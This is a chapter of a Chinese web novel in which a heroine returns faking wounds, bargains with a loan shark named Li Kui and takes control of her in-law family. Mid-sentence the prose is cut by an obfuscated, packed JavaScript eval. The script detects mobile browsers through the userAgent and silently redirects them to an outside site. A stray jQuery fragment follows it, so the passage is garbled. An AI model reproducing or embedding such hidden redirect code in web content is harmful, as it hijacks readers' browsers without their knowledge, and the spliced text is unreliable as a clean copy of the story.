16. 回来了
作品:《掀桌!我在古代当奸商》 吴氏似乎对迫近的危险丝毫没有察觉,眼睛依旧空洞地望着虚空,只有听到林家人尤其是林田书,发出断断续续的呻吟时,她那死水般的眼底,才极快地掠过一丝愉悦的微光。
就在那壮汉的手即将触碰到吴氏时,一道熟悉的声音出现了。
“等等。”
印入众人眼帘的,是一个拄着树枝,一瘸一拐的身影。
她整个人像是在泥汤里滚了几遍,身上沾着污泥和草屑,衣服少了个袖子,下摆也被撕的一绺一绺的,有大型动物撕咬的痕迹,裸露的手臂上隐约看得出有带血的伤口,
脸上更是被泥污和血迹糊成一团,几乎看不清原本的容貌,枯草枯叶黏在泥泞的发丝间,看着十分可怜。
李魁猛地回头,当看清门口那个踉踉跄跄的身影时,他那无处发泄的怒意,终于找到了明确的目标。
“你,还敢回来?”
周黎生脚步虚浮,声音带着颤抖:“托您的福,活着回来了,山里是真有狼啊,要不是我机灵,怕是都没法活着回来见您。”
她又转头看向瘦猴:“瘦猴哥下回盯梢,离得近些,说不定还能救我一命。”
瘦猴在一旁听得愣住,下意识喃喃:“我、我那天好像确实听见有狼叫来着。”
李魁没理会瘦猴,只是一步一步走到周黎生面前,高大的身躯将她完全笼罩在身影里,目光在她精心炮制的伤口上反复刮擦。
他冷笑一声,直接攥住了她裸露在外的手臂,手指狠狠按在其中一道伤口上,已经结痂的口子洇出些血色。
周黎生疼的额角渗出冷汗,她抿紧了嘴唇,将痛呼咽下去。
“故事编得圆,就是这皮肉伤差了点火候。”
知道再装下去没有意义,反而可能激怒对方。她脸上那可怜兮兮的表情收敛了些许,脸色依旧惨白,但眼神已变得镇定。
她不再挣扎,反而迎着李魁审视的目光,坦然道:“不愧是李爷,眼力过人。”
“耗了三天,就琢磨出这么一出苦肉计?”李魁的语气平淡,却带着一股无形的压力,“那可就没意思了。”
“自然是有了些章程,只是想借这个机会,跟您再谈谈条件。”
李魁不言不语,手上的力道却不减分毫。周黎生见他不反对,便忍着痛意往下说。
“两个办法,其一我手中有个价值三十两的方子,我直接将它交给您,您派人去办,咱们银货两讫,债务两清。”
李魁嗤笑一声,眼神讥诮:“你说值三十两就值三十两?这大饼前些日子已经吃过一回了,还想糊弄老子?”
说着手上的力气便越来越重,周黎生感觉自己的骨头都要碎了,也是无语,话都没说完着什么急。
“那就说第二条,请您将人都撤走,我这方子金贵,您让几位大哥天天杵在旁边盯着,我是教,还是不教?总不能赔了夫人又折兵。”
她目光扫过院内那些彪形大汉,意有所指:“再说有些事,人多眼杂反而不好办。”
李魁眼神微动,这丫头话里有话。她这章程,怕是见不得光,这反倒增加了点可信度,正经赚钱的营生,哪有这么高的利润。
他盯着她,沉默了片刻,扣着她手的力道卸了些:“你觉得老子现在只能信你是吗?”
周黎生敏锐地感觉到胳膊上的疼痛轻了些,又吐出一句话:“是,而且这三天您的人,找得不轻松吧?”
李魁瞳孔一缩,他瞬间就懂了她的潜台词。
她有能力在他的地盘上消失得毫无踪迹,让他的人如同无头苍蝇。但她还是回来了,主动站在这儿,跟他谈条件。这既是她的诚意,更是她的示威和底气。
——我并非完全在你的掌控之中。
他眼神锐利地盯着周黎生,仿佛要将她从里到外看个通透。半晌,他松开了抓着她胳膊的手,走到那群属下身前。
“都听见了?林姑娘是干大事的人,以后见着都给我离远点,别碍了林姑娘的财路。”
众人面面相觑,眼里是不甘和不解,却还是低头应下。
瘦猴咽了口唾沫,弓着腰凑上前:“李爷,要不我远远盯着?保准把那方子……”
“是不是我刚刚那一巴掌把你扇傻了?”李魁简直被气笑了,压着嗓子骂道,“人家整整消失了三天,你连个屁都摸不着!她要是真想跑,就凭你这点道行,能看住?”
他看着瘦猴通红着眼,蔫头耷脑的模样,不耐地挥挥手:“滚!带着你那两个没用的兄弟,滚回去睡觉,睡醒了就滚回场子里继续干活,少在这丢人现眼。”
瘦猴没敢再说话,带着那两个手下离开,刀疤脸沉默片刻,偏头对身边一个眼神狠厉的汉子道:
“我这个人,最讲信用,说一个月,就是一个月,去给我们林大秀才接上。”
那汉子在王氏惊恐的目光中,蹲下身,抓住林田书那条软塌塌的胳膊,没有任何铺垫,粗暴地一推一送。
“咔嚓!”又是一声令人头皮发麻的脆响。
林田书的惨叫声冲破天际,身体如虾米般弓起,一阵一阵地抽搐。胳膊算是勉强怼了回去,但扭扭歪歪,肿的像发面馒头。
若是找个正经的跌打大夫接上,好好将养些日子,日后说不定能恢复如初,现在就这么粗暴一怼,天知道落下什么毛病。
做完这一切,李魁这才又踱步到周黎生面前。他俯下身,用只有两人能听见的声音,阴狠道:
“林荞,台子给你搭好了,你最好能给我唱出好戏。一个月后,见不到钱……你就等着给你娘他们收尸吧。”
周黎生看着李魁一众人被夜色吞没的身影,脸上没什么表情。
林满仓瘫坐在地上,脸上、身上都火辣辣地疼,每次呼吸都带着浓重的铁锈味。他看着儿子抱着那只胳膊疼得缩成一团,听着院中抑制不住的呻吟声,再想想这几日如同噩梦的经历。
他一遍遍托人给山里的老三捎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956682|193157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信,指望着这个骁勇的儿子能出些主意,可左等右等,也没等到他回来。
带着孩子回娘家的老三媳妇,怕是听说了家里的变故,直接托人带回口信,说是孩子染了风寒不便回来,要留在娘家将养些时日,分明就是借口推脱。
他舍下这张老脸,求爷爷告奶奶,借遍了三山村和周遭村子所有有点交情的人家。
可换来的只有冷眼和推拒,更有甚者是一盆馊味的脏水泼出来,被溅湿的裤脚。
偶而会有几户人家念着旧情,施舍几枚铜钱,可总共加起来不过二钱银子。
还有连着两天的毒打,把他身为一家之主的尊严一点点踏碎。他累了,从身到心都透着一股疲惫和绝望。
林满仓挣扎着站起来,蹒跚地走到周黎生面前:“以后家里的事,你想怎样,就怎样吧。”
一直躲在墙角瑟瑟发抖的林晋为,像颗小炮弹般冲向林满仓,他人傻力气倒大,这一冲差点把本就站不稳的林满仓撞倒,抱着他的腿“哇”地一声哭了起来。
“阿爷是不是要死了?阿爷不要死!”
稚嫩的童言,却像最后一根稻草,彻底压垮了林满仓。他想起自己不久前,就在同一个位置,还趾高气扬地对荞娘吼过:“我还没死,这个家就轮不到你做主!”
混杂着羞愧、无力的情绪涌上头,他猛地一把推开孙子,像逃似的冲回自己那间黑漆漆的屋子,背影佝偻仓皇,仿佛在这短短一夜间,被生生抽走了十年的脊梁。
院中终于只剩下风声。
周黎生仰头看了看天际那弯冷月,抬手慢慢擦去脸上刻意涂抹的污泥和血渍。
身上是有几处小伤,在山里劳作量大,难免磕磕碰碰。但大多都是假的,是她用兔子血和空间内的化妆品伪装的,总不能为了一出戏真伤了自己,这时代,可没有破伤风针能打。
她垂下眼睫,轻轻活动了下被攥的青紫的手臂,身上有些疼痛,心里却舒坦。
对于林家这些人,光动嘴皮子是没用的,总得让他们自己骨头断了,皮肉疼了,亲眼看看血是怎么流的。
如今,刀疤脸这把刀借来了,她周黎生这场戏也唱完了。
他们也该学会,什么叫听话了。
她之前就打算好了,一个人的精力终究有限,虽说接下来有一段等胚体阴干的清闲日子。
但造舍利这件事,无论成败,都绝不能在明面上露出半分痕迹。
得有一桩能持续见钱的正经营生做幌子,明修栈道,暗度陈仓。
她脑子里过了一圈,最后还是停在豆腐上,也算是两手准备,舍利的成功率太低。鸡蛋不能放在一个篮子里,舍利要赌,豆腐也要做。
老话说人生三苦,撑船、打铁、磨豆腐。
这活儿累人,耗时辰,能把林家这些人都牢牢拴在磨盘和灶台边,点卤的方子也容易拿捏在手。
更重要的是,或许能借此铺出一条干干净净通往寺庙的路。

